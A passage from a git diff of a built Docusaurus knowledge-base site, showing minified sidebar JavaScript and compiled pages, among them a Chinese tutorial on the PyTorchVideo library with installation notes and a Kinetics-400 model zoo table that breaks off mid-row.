navigation"}),className:(0,i.A)("menu thin-scrollbar",J,o&&X,n),children:(0,b.jsx)("ul",{className:(0,i.A)(s.G.docs.docSidebarMenu,"menu__list"),children:(0,b.jsx)(Z,{items:t,activePath:e,level:1})})})}const ee="sidebar_njMd",te="sidebarWithHideableNavbar_wUlq",ne="sidebarHidden_VK0M",ae="sidebarLogo_isFc";function ie({path:e,sidebar:t,onCollapse:n,isHidden:a}){const{navbar:{hideOnScroll:o},docs:{sidebar:{hideable:s}}}=(0,f.p)();return(0,b.jsxs)("div",{className:(0,i.A)(ee,o&&te,a&&ne),children:[o&&(0,b.jsx)(g.A,{tabIndex:-1,className:ae}),(0,b.jsx)($,{path:e,sidebar:t}),s&&(0,b.jsx)(A,{onClick:n})]})}const oe=a.memo(ie);var se=n(75600),le=n(22069);const re=({sidebar:e,path:t})=>{const n=(0,le.M)();return(0,b.jsx)("ul",{className:(0,i.A)(s.G.docs.docSidebarMenu,"menu__list"),children:(0,b.jsx)(Z,{items:e,activePath:t,onItemClick:e=>{"category"===e.type&&e.href&&n.toggle(),"link"===e.type&&n.toggle()},level:1})})};function ce(e){return(0,b.jsx)(se.GX,{component:re,props:e})}const de=a.memo(ce);function ue(e){const t=(0,j.l)(),n="desktop"===t||"ssr"===t,a="mobile"===t;return(0,b.jsxs)(b.Fragment,{children:[n&&(0,b.jsx)(oe,{...e}),a&&(0,b.jsx)(de,{...e})]})}const me={expandButton:"expandButton_TmdG",expandButtonIcon:"expandButtonIcon_i1dp"};function be({toggleSidebar:e}){return(0,b.jsx)("div",{className:me.expandButton,title:(0,c.T)({id:"theme.docs.sidebar.expandButtonTitle",message:"Expand sidebar",description:"The ARIA label and title attribute for expand button of doc sidebar"}),"aria-label":(0,c.T)({id:"theme.docs.sidebar.expandButtonAriaLabel",message:"Expand sidebar",description:"The ARIA label and title attribute for expand button of doc sidebar"}),tabIndex:0,role:"button",onKeyDown:e,onClick:e,children:(0,b.jsx)(v,{className:me.expandButtonIcon})})}const he={docSidebarContainer:"docSidebarContainer_YfHR",docSidebarContainerHidden:"docSidebarContainerHidden_DPk8",sidebarViewport:"sidebarViewport_aRkj"};function pe({children:e}){const t=(0,r.t)();return(0,b.jsx)(a.Fragment,{children:e},t?.name??"noSidebar")}function xe({sidebar:e,hiddenSidebarContainer:t,setHiddenSidebarContainer:n}){const{pathname:o}=(0,x.zy)(),[l,r]=(0,a.useState)(!1),c=(0,a.useCallback)(()=>{l&&r(!1),!l&&(0,p.O)()&&r(!0),n(e=>!e)},[n,l]);return(0,b.jsx)("aside",{className:(0,i.A)(s.G.docs.docSidebarContainer,he.docSidebarContainer,t&&he.docSidebarContainerHidden),onTransitionEnd:e=>{e.currentTarget.classList.contains(he.docSidebarContainer)&&t&&r(!0)},children:(0,b.jsx)(pe,{children:(0,b.jsxs)("div",{className:(0,i.A)(he.sidebarViewport,l&&he.sidebarViewportHidden),children:[(0,b.jsx)(ue,{sidebar:e,path:o,onCollapse:c,isHidden:l}),l&&(0,b.jsx)(be,{toggleSidebar:c})]})})})}const je={docMainContainer:"docMainContainer_TBSr",docMainContainerEnhanced:"docMainContainerEnhanced_lQrH",docItemWrapperEnhanced:"docItemWrapperEnhanced_JWYK"};function fe({hiddenSidebarContainer:e,children:t}){const n=(0,r.t)();return(0,b.jsx)("main",{className:(0,i.A)(je.docMainContainer,(e||!n)&&je.docMainContainerEnhanced),children:(0,b.jsx)("div",{className:(0,i.A)("container padding-top--md padding-bottom--lg",je.docItemWrapper,e&&je.docItemWrapperEnhanced),children:t})})}const ge={docRoot:"docRoot_UBD9",docsWrapper:"docsWrapper_hBAB"};function ve({children:e}){const t=(0,r.t)(),[n,i]=(0,a.useState)(!1);return(0,b.jsxs)("div",{className:ge.docsWrapper,children:[(0,b.jsx)(h,{}),(0,b.jsxs)("div",{className:ge.docRoot,children:[t&&(0,b.jsx)(xe,{sidebar:t.items,hiddenSidebarContainer:n,setHiddenSidebarContainer:i}),(0,b.jsx)(fe,{hiddenSidebarContainer:n,children:e})]})]})}var _e=n(23363);function ke(e){const t=(0,l.B5)(e);if(!t)return(0,b.jsx)(_e.A,{});const{docElement:n,sidebarName:a,sidebarItems:c}=t;return(0,b.jsx)(o.e3,{className:(0,i.A)(s.G.page.docsDocPage),children:(0,b.jsx)(r.V,{name:a,items:c,children:(0,b.jsx)(ve,{children:n})})})}}}]); \ No newline at end of file diff --git a/assets/js/ab82a0e4.1ba74160.js b/assets/js/ab82a0e4.1ba74160.js new file mode 100644 index 0000000..6ca385c --- /dev/null +++ b/assets/js/ab82a0e4.1ba74160.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3732],{2266:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/README","title":"\u8bed\u8a00\u77e5\u8bc6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/"},"next":{"title":"Go\u57fa\u7840\u7f16\u7a0b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/"}}');var r=n(74848),o=n(28453);const i={},l="\u8bed\u8a00\u77e5\u8bc6",c={},d=[];function a(e){const t={blockquote:"blockquote",h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u8bed\u8a00\u77e5\u8bc6",children:"\u8bed\u8a00\u77e5\u8bc6"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:27:56"})]})})]}),"\n",(0,r.jsxs)(t.blockquote,{children:["\n",(0,r.jsx)(t.p,{children:"[!Waring]"}),"\n",(0,r.jsx)(t.p,{children:"\u8be5\u6a21\u5757\u57fa\u672c\u4e3a\u642c\u8fd0\u7684\uff0c\u76ee\u7684\u662f\u4e3a\u4e86\u518d\u4e00\u4e9b\u65ad\u7f51\u7684\u60c5\u51b5\u4e0b\u4f7f\u7528\u3002"}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,o.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>l});var s=n(96540);const r={},o=s.createContext(r);function i(e){const t=s.useContext(o);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:i(e.components),s.createElement(o.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/aba21aa0.c08ff4e8.js b/assets/js/aba21aa0.c08ff4e8.js new file mode 100644 index 0000000..6ea3dfb --- /dev/null +++ b/assets/js/aba21aa0.c08ff4e8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5742],{27093:s=>{s.exports=JSON.parse('{"name":"docusaurus-plugin-content-docs","id":"default"}')}}]); \ No newline at end of file diff --git a/assets/js/ac291e43.9d2ccf89.js b/assets/js/ac291e43.9d2ccf89.js new file mode 100644 index 0000000..add1aa7 --- /dev/null +++ b/assets/js/ac291e43.9d2ccf89.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6189],{28453:(n,e,d)=>{d.d(e,{R:()=>s,x:()=>l});var i=d(96540);const h={},r=i.createContext(h);function s(n){const e=i.useContext(r);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(h):n.components||h:s(n.components),i.createElement(r.Provider,{value:e},n.children)}},33517:(n,e,d)=>{d.d(e,{A:()=>i});const i=d.p+"assets/images/logo2-f217077978820204e4fdcbbcadc61eda.jpg"},56906:(n,e,d)=>{d.d(e,{A:()=>i});const i=d.p+"assets/images/list-e5a945907d77250f9a68dab4a88173d3.png"},81217:(n,e,d)=>{d.r(e),d.d(e,{assets:()=>t,contentTitle:()=>l,default:()=>o,frontMatter:()=>s,metadata:()=>i,toc:()=>c});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","title":"8.3 \u89c6\u9891 - PyTorchVideo.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"8.2 \u56fe\u50cf - torchvision.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision"},"next":{"title":"8.4 \u6587\u672c - torchtext.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext"}}');var h=d(74848),r=d(28453);const s={},l="8.3 \u89c6\u9891 - PyTorchVideo.md",t={},c=[{value:"8.3.1 PyTorchVideo\u7684\u4e3b\u8981\u90e8\u4ef6\u548c\u4eae\u70b9",id:"831-pytorchvideo\u7684\u4e3b\u8981\u90e8\u4ef6\u548c\u4eae\u70b9",level:2},{value:"8.3.2 PyTorchVideo\u7684\u5b89\u88c5",id:"832-pytorchvideo\u7684\u5b89\u88c5",level:2},{value:"8.3.3 Model zoo \u548c benchmark",id:"833-model-zoo-\u548c-benchmark",level:2},{value:"8.3.4 \u4f7f\u7528 PyTorchVideo model zoo",id:"834-\u4f7f\u7528-pytorchvideo-model-zoo",level:2}];function x(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(e.header,{children:(0,h.jsx)(e.h1,{id:"83-\u89c6\u9891---pytorchvideomd",children:"8.3 \u89c6\u9891 - PyTorchVideo.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,h.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,h.jsx)(e.tbody,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{style:{textAlign:"left"},children:(0,h.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,h.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,h.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,h.jsx)(e.tbody,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{style:{textAlign:"left"},children:(0,h.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,h.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,h.jsx)(e.h1,{id:"83-pytorchvideo\u7b80\u4ecb",children:"8.3 PyTorchVideo\u7b80\u4ecb"}),"\n",(0,h.jsx)(e.p,{children:(0,h.jsx)(e.img,{src:d(33517).A+"",width:"1440",height:"459"})}),"\n",(0,h.jsx)(e.p,{children:"\u8fd1\u51e0\u5e74\u6765\uff0c\u968f\u7740\u4f20\u64ad\u5a92\u4ecb\u548c\u89c6\u9891\u5e73\u53f0\u7684\u53d1\u5c55\uff0c\u89c6\u9891\u6b63\u5728\u53d6\u4ee3\u56fe\u7247\u6210\u4e3a\u4e0b\u4e00\u4ee3\u7684\u4e3b\u6d41\u5a92\u4f53\uff0c\u8fd9\u4e5f\u4f7f\u5f97\u6709\u5173\u89c6\u9891\u7684\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u6b63\u5728\u83b7\u5f97\u8d8a\u6765\u8d8a\u591a\u7684\u5173\u6ce8\u3002\u7136\u800c\uff0c\u6709\u5173\u89c6\u9891\u7684\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u4ecd\u7136\u6709\u7740\u8bb8\u591a\u7f3a\u70b9\uff1a"}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsxs)(e.li,{children:["\u8ba1\u7b97\u8d44\u6e90\u8017\u8d39\u66f4\u591a\uff0c\u5e76\u4e14\u6ca1\u6709\u9ad8\u8d28\u91cf\u7684",(0,h.jsx)(e.code,{children:"model zoo"}),"\uff0c\u4e0d\u80fd\u50cf\u56fe\u7247\u4e00\u6837\u8fdb\u884c\u8fc1\u79fb\u5b66\u4e60\u548c\u8bba\u6587\u590d\u73b0\u3002"]}),"\n",(0,h.jsx)(e.li,{children:"\u6570\u636e\u96c6\u5904\u7406\u8f83\u9ebb\u70e6\uff0c\u4f46\u6ca1\u6709\u4e00\u4e2a\u5f88\u597d\u7684\u89c6\u9891\u5904\u7406\u5de5\u5177\u3002"}),"\n",(0,h.jsx)(e.li,{children:"\u968f\u7740\u591a\u6a21\u6001\u8d8a\u6765\u8d8a\u6d41\u884c\uff0c\u4e9f\u9700\u4e00\u4e2a\u5de5\u5177\u6765\u5904\u7406\u5176\u4ed6\u6a21\u6001\u3002"}),"\n"]}),"\n",(0,h.jsxs)(e.p,{children:["\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u6709\u90e8\u7f72\u4f18\u5316\u7b49\u95ee\u9898\uff0c\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e9b\u95ee\u9898\uff0cMeta\u63a8\u51fa\u4e86",(0,h.jsx)(e.code,{children:"PyTorchVideo"}),"\u6df1\u5ea6\u5b66\u4e60\u5e93\uff08\u5305\u542b\u7ec4\u4ef6\u5982Figure 1\u6240\u793a\uff09\u3002PyTorchVideo \u662f\u4e00\u4e2a\u4e13\u6ce8\u4e8e\u89c6\u9891\u7406\u89e3\u5de5\u4f5c\u7684\u6df1\u5ea6\u5b66\u4e60\u5e93\u3002PytorchVideo \u63d0\u4f9b\u4e86\u52a0\u901f\u89c6\u9891\u7406\u89e3\u7814\u7a76\u6240\u9700\u7684\u53ef\u91cd\u7528\u3001\u6a21\u5757\u5316\u548c\u9ad8\u6548\u7684\u7ec4\u4ef6\u3002PyTorchVideo \u662f\u4f7f\u7528",(0,h.jsx)(e.a,{href:"https://pytorch.org/",children:"PyTorch"}),"\u5f00\u53d1\u7684\uff0c\u652f\u6301\u4e0d\u540c\u7684\u6df1\u5ea6\u5b66\u4e60\u89c6\u9891\u7ec4\u4ef6\uff0c\u5982\u89c6\u9891\u6a21\u578b\u3001\u89c6\u9891\u6570\u636e\u96c6\u548c\u89c6\u9891\u7279\u5b9a\u8f6c\u6362\u3002"]}),"\n",(0,h.jsx)(e.p,{children:(0,h.jsx)(e.img,{src:d(56906).A+"",width:"1167",height:"147"})}),"\n",(0,h.jsx)(e.h2,{id:"831-pytorchvideo\u7684\u4e3b\u8981\u90e8\u4ef6\u548c\u4eae\u70b9",children:"8.3.1 PyTorchVideo\u7684\u4e3b\u8981\u90e8\u4ef6\u548c\u4eae\u70b9"}),"\n",(0,h.jsx)(e.p,{children:"PytorchVideo \u63d0\u4f9b\u4e86\u52a0\u901f\u89c6\u9891\u7406\u89e3\u7814\u7a76\u6240\u9700\u7684\u6a21\u5757\u5316\u548c\u9ad8\u6548\u7684API\u3002\u5b83\u8fd8\u652f\u6301\u4e0d\u540c\u7684\u6df1\u5ea6\u5b66\u4e60\u89c6\u9891\u7ec4\u4ef6\uff0c\u5982\u89c6\u9891\u6a21\u578b\u3001\u89c6\u9891\u6570\u636e\u96c6\u548c\u89c6\u9891\u7279\u5b9a\u8f6c\u6362\uff0c\u6700\u91cd\u8981\u7684\u662f\uff0cPytorchVideo\u4e5f\u63d0\u4f9b\u4e86model zoo\uff0c\u4f7f\u5f97\u4eba\u4eec\u53ef\u4ee5\u4f7f\u7528\u5404\u79cd\u5148\u8fdb\u7684\u9884\u8bad\u7ec3\u89c6\u9891\u6a21\u578b\u53ca\u5176\u8bc4\u5224\u57fa\u51c6\u3002PyTorchVideo\u4e3b\u8981\u4eae\u70b9\u5982\u4e0b\uff1a"}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsx)(e.p,{children:"**\u57fa\u4e8e PyTorch\uff1a**\u4f7f\u7528 PyTorch \u6784\u5efa\u3002\u4f7f\u6240\u6709 PyTorch \u751f\u6001\u7cfb\u7edf\u7ec4\u4ef6\u7684\u4f7f\u7528\u53d8\u5f97\u5bb9\u6613\u3002"}),"\n"]}),"\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsxs)(e.p,{children:["**Model Zoo\uff1a**PyTorchVideo\u63d0\u4f9b\u4e86\u5305\u542bI3D\u3001R(2+1)D\u3001SlowFast\u3001X3D\u3001MViT\u7b49SOTA\u6a21\u578b\u7684\u9ad8\u8d28\u91cfmodel zoo\uff08\u76ee\u524d\u8fd8\u5728\u5feb\u901f\u6269\u5145\u4e2d\uff0c\u672a\u6765\u4f1a\u6709\u66f4\u591aSOTA model\uff09\uff0c\u5e76\u4e14PyTorchVideo\u7684model zoo\u8c03\u7528\u4e0e",(0,h.jsx)(e.a,{href:"https://link.zhihu.com/?target=https%3A//pytorch.org/hub/",children:"PyTorch Hub"}),"\u505a\u4e86\u6574\u5408\uff0c\u5927\u5927\u7b80\u5316\u6a21\u578b\u8c03\u7528\uff0c\u5177\u4f53\u7684\u4e00\u4e9b\u8c03\u7528\u65b9\u6cd5\u53ef\u4ee5\u53c2\u8003\u4e0b\u9762\u7684\u3010\u4f7f\u7528 PyTorchVideo model zoo\u3011\u90e8\u5206\u3002"]}),"\n"]}),"\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsxs)(e.p,{children:[(0,h.jsx)(e.strong,{children:"\u6570\u636e\u9884\u5904\u7406\u548c\u5e38\u89c1\u6570\u636e"}),"\uff0cPyTorchVideo\u652f\u6301Kinetics-400, Something-Something V2, Charades, Ava (v2.2), Epic Kitchen, HMDB51, UCF101, Domsev\u7b49\u4e3b\u6d41\u6570\u636e\u96c6\u548c\u76f8\u5e94\u7684\u6570\u636e\u9884\u5904\u7406\uff0c\u540c\u65f6\u8fd8\u652f\u6301randaug, augmix\u7b49\u6570\u636e\u589e\u5f3atrick\u3002"]}),"\n"]}),"\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsxs)(e.p,{children:[(0,h.jsx)(e.strong,{children:"\u6a21\u5757\u5316\u8bbe\u8ba1"}),"\uff1aPyTorchVideo\u7684\u8bbe\u8ba1\u7c7b\u4f3c\u4e8etorchvision\uff0c\u4e5f\u662f\u63d0\u4f9b\u8bb8\u591a\u6a21\u5757\u65b9\u4fbf\u7528\u6237\u8c03\u7528\u4fee\u6539\uff0c\u5728PyTorchVideo\u4e2d\u5177\u4f53\u6765\u8bf4\u5305\u62ecdata, transforms, layer, model, accelerator\u7b49\u6a21\u5757\uff0c\u65b9\u4fbf\u7528\u6237\u8fdb\u884c\u8c03\u7528\u548c\u8bfb\u53d6\u3002"]}),"\n"]}),"\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsxs)(e.p,{children:[(0,h.jsx)(e.strong,{children:"\u652f\u6301\u591a\u6a21\u6001"}),"\uff1aPyTorchVideo\u73b0\u5728\u5bf9\u591a\u6a21\u6001\u7684\u652f\u6301\u5305\u62ec\u4e86visual\u548caudio\uff0c\u672a\u6765\u4f1a\u652f\u6301\u66f4\u591a\u6a21\u6001\uff0c\u4e3a\u591a\u6a21\u6001\u6a21\u578b\u7684\u53d1\u5c55\u63d0\u4f9b\u652f\u6301\u3002"]}),"\n"]}),"\n",(0,h.jsxs)(e.li,{children:["\n",(0,h.jsxs)(e.p,{children:[(0,h.jsx)(e.strong,{children:"\u79fb\u52a8\u7aef\u90e8\u7f72\u4f18\u5316"}),"\uff1aPyTorchVideo\u652f\u6301\u9488\u5bf9\u79fb\u52a8\u7aef\u6a21\u578b\u7684\u90e8\u7f72\u4f18\u5316\uff08\u4f7f\u7528\u524d\u8ff0\u7684PyTorchVideo/accelerator\u6a21\u5757\uff09\uff0c\u6a21\u578b\u7ecf\u8fc7PyTorchVideo\u4f18\u5316\u4e86\u6700\u9ad8\u8fbe",(0,h.jsx)(e.strong,{children:"7\u500d"}),"\u7684\u63d0\u901f\uff0c\u5e76\u5b9e\u73b0\u4e86\u7b2c\u4e00\u4e2a\u80fd\u5b9e\u65f6\u8dd1\u5728\u624b\u673a\u7aef\u7684X3D\u6a21\u578b\uff08\u5b9e\u9a8c\u4e2d\u53ef\u4ee5\u5b9e\u65f6\u8dd1\u57282018\u5e74\u7684\u4e09\u661fGalaxy S8\u4e0a\uff0c\u5177\u4f53\u8bf7\u89c1",(0,h.jsx)(e.a,{href:"https://github.com/pytorch/android-demo-app/tree/master/TorchVideo",children:"Android Demo APP"}),"\uff09\u3002"]}),"\n"]}),"\n"]}),"\n",(0,h.jsx)(e.h2,{id:"832-pytorchvideo\u7684\u5b89\u88c5",children:"8.3.2 PyTorchVideo\u7684\u5b89\u88c5"}),"\n",(0,h.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528pip\u6765\u5b89\u88c5PyTorchVideo\uff1a"}),"\n",(0,h.jsx)(e.pre,{children:(0,h.jsx)(e.code,{className:"language-shell",children:"pip install pytorchvideo\n"})}),"\n",(0,h.jsx)(e.p,{children:"\u6ce8\uff1a"}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsx)(e.li,{children:"\u5b89\u88c5\u7684\u865a\u62df\u73af\u5883\u7684python\u7248\u672c >= 3.7"}),"\n",(0,h.jsx)(e.li,{children:"PyTorch >= 1.8.0\uff0c\u5b89\u88c5\u7684torchvision\u4e5f\u9700\u8981\u5339\u914d"}),"\n",(0,h.jsx)(e.li,{children:"CUDA >= 10.2"}),"\n",(0,h.jsxs)(e.li,{children:["ioPath\uff1a",(0,h.jsx)(e.a,{href:"https://github.com/facebookresearch/iopath",children:"\u5177\u4f53\u60c5\u51b5"})]}),"\n",(0,h.jsxs)(e.li,{children:["fvcore\u7248\u672c >= 0.1.4\uff1a",(0,h.jsx)(e.a,{href:"https://github.com/facebookresearch/fvcore",children:"\u5177\u4f53\u60c5\u51b5"})]}),"\n"]}),"\n",(0,h.jsx)(e.h2,{id:"833-model-zoo-\u548c-benchmark",children:"8.3.3 Model zoo \u548c benchmark"}),"\n",(0,h.jsx)(e.p,{children:"\u5728\u4e0b\u9762\u8fd9\u90e8\u5206\uff0c\u6211\u5c06\u7b80\u5355\u4ecb\u7ecd\u4e9bPyTorchVideo\u6240\u63d0\u4f9b\u7684Model zoo\u548cbenchmark"}),"\n",(0,h.jsxs)(e.ul,{children:["\n",(0,h.jsx)(e.li,{children:"Kinetics-400"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,h.jsxs)(e.table,{children:[(0,h.jsx)(e.thead,{children:(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.th,{children:"arch"}),(0,h.jsx)(e.th,{children:"depth"}),(0,h.jsx)(e.th,{children:"pretrain"}),(0,h.jsx)(e.th,{children:"frame length x sample rate"}),(0,h.jsx)(e.th,{children:"top 1"}),(0,h.jsx)(e.th,{children:"top 5"}),(0,h.jsx)(e.th,{children:"Flops (G) x views"}),(0,h.jsx)(e.th,{children:"Params (M)"}),(0,h.jsx)(e.th,{children:"Model"})]})}),(0,h.jsxs)(e.tbody,{children:[(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"C2D"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"71.46"}),(0,h.jsx)(e.td,{children:"89.68"}),(0,h.jsx)(e.td,{children:"25.89 x 3 x 10"}),(0,h.jsx)(e.td,{children:"24.33"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/C2D_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"I3D"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"8x8"}),(0,h.jsx)(e.td,{children:"73.27"}),(0,h.jsx)(e.td,{children:"90.70"}),(0,h.jsx)(e.td,{children:"37.53 x 3 x 10"}),(0,h.jsx)(e.td,{children:"28.04"}),(0,h.jsx)(e.td,{children:(0,h.jsx)(e.a,{href:"https://dl.fbaipublicfiles.com/pytorchvideo/model_zoo/kinetics/I3D_8x8_R50.pyth",children:"link"})})]}),(0,h.jsxs)(e.tr,{children:[(0,h.jsx)(e.td,{children:"Slow"}),(0,h.jsx)(e.td,{children:"R50"}),(0,h.jsx)(e.td,{children:"-"}),(0,h.jsx)(e.td,{children:"4x16"}),(0,h.jsx)(e.td,{children:"72.40"}),(0,h.jsx)(e.td,{children:"90.18"}),(0,h.jsx)(e.td,{children:"27.55 x 3 x 